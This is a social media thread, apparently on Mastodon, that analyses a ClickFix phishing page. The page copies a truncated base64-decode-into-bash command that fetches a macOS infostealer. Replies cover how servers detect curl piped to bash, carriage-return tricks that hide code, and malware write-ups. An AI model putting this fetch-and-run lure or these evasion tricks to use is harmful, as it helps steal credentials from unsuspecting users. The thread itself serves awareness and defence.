This is pretty well executed phishing.

The Copy button copies to the clipboard

echo "Y3Vy[...]ggJg==" | base64 -d | bash

which in turn curls this script https://gist.github.com/FiloSottile/385137f5ca2eabb51fd206bde2ff1d0a into bash.

They even detect piping, so to read it you have to run "curl | cat".

@filippo Interesting, I've only seen this for Windows users. Guess Linux is next.

But then again, `curl | bash` is probably what inspired this scam...

@tribut I feel we can confidently assume that the `curl | bash` installation instructions of developer tools have never once reached the intended victims of these scams.
@filippo You clearly are less pessimistic about people than I am πŸ™ˆ
@tribut No, I am just saying the target victims are not developers.

@filippo

LOL. Easy fix: Close tab.

The giveaway was Cloudflare.

@filippo Have seen multiple of these by now.

But what is more interesting, how do you server-side detect that a script that is downloaded via curl is being or not?

Luke Spademan

@fooker @filippo

Interesting, now I've to think what if they'd send you a different script when they detect this? Like one that is just designed to waste your time as a security researcher but does nothing. Combined with just sending a malicious script to a fraction of the victims would probably make it quite hard for researchers.

Or imagine you make this look like a legit service and 1/10th of the users running it get malwared πŸ€”

@agowa338 @filippo yea, that's why
curl > file
less file
bash file
Is the only way to do such a thing securely.

Or something with signatures on top of it.

@fooker @filippo
Even that isn't really secure, I've seen tricks with encoding that caused what you see on screen and what gets executed to be dramatically different in the past as well.

Like one of the more basic examples was to add a stray "\r" in the middle of a line as that would cause it to overwrite everything that was before that on screen. But when executed it would just skip over cause it was seen as part of a string.

@fooker @filippo

Besides using a literal Hex editor is there any console based tool to look at a text file without it parsing control and escape codes? Like @don-ho.bsky.social's #Notepadpp but for the CLI?

@filippo the script seems macOS only. What does it do?
@mrzool @filippo I almost got tricked by this one in a moment of tiredness! I found this write-up helpful: https://cyooda.com/blog/highly-malicious-macos-infostealer
Highly Malicious MacOS Infostealer

This morning in between meeting I was researching prices for solar batteries and was redirected to a Cloudflare "are you human page" that then failed but asked

Cyooda Security
@filippo I'm not sure if this is the same, I'm reading on my phone but I was reminded of this https://www.idontplaydarts.com/2016/04/detecting-curl-pipe-bash-server-side/ which I had to read in duck browser because the certs have expired.
TL;DR; because the curl version executes as it goes you can detect if it's being piped

@filippo hmm.

’set writemind to "/tmp/lovemrtrump/"’

So cybercriminals really can’t help themselves but actually write to the victim’s disk in whose name they’re conducting this heist?

πŸ₯΄

@filippo the copy/paste technique is called #ClickFix . the site in the image is infected by TA2726's Keitaro which is well known for sending Windows folks to #SocGholish . what they do with macOS folks has changed over the years. i see they sent you to something that delivered what looks like Poseidon Stealer.

https://medium.com/@MateoPappa/letsdefend-poseidon-macos-stealer-hard-a796c85d8c72

LetsDefend β€” Poseidon macOS Stealer (Hard) - 𝐌𝐚𝐭𝐞𝐨 𝐏𝐚𝐩𝐩𝐚 - Medium

Investigate the Poseidon macOS infostealer to identify how it infiltrated the system and to extract the stolen data. Employ forensic and malware analysis techniques to uncover the full extent of the…

Medium
@filippo We've seen this for a while with Powershell scripts but I'm amazed someone wrote a bash version.
@filippo For a sec I was like "why is this script on your github????" and then realized u don't mean it literally curls this link 😭
@filippo I hate living in a world where Cloudflare doing something like that is believable enough to fall for :(.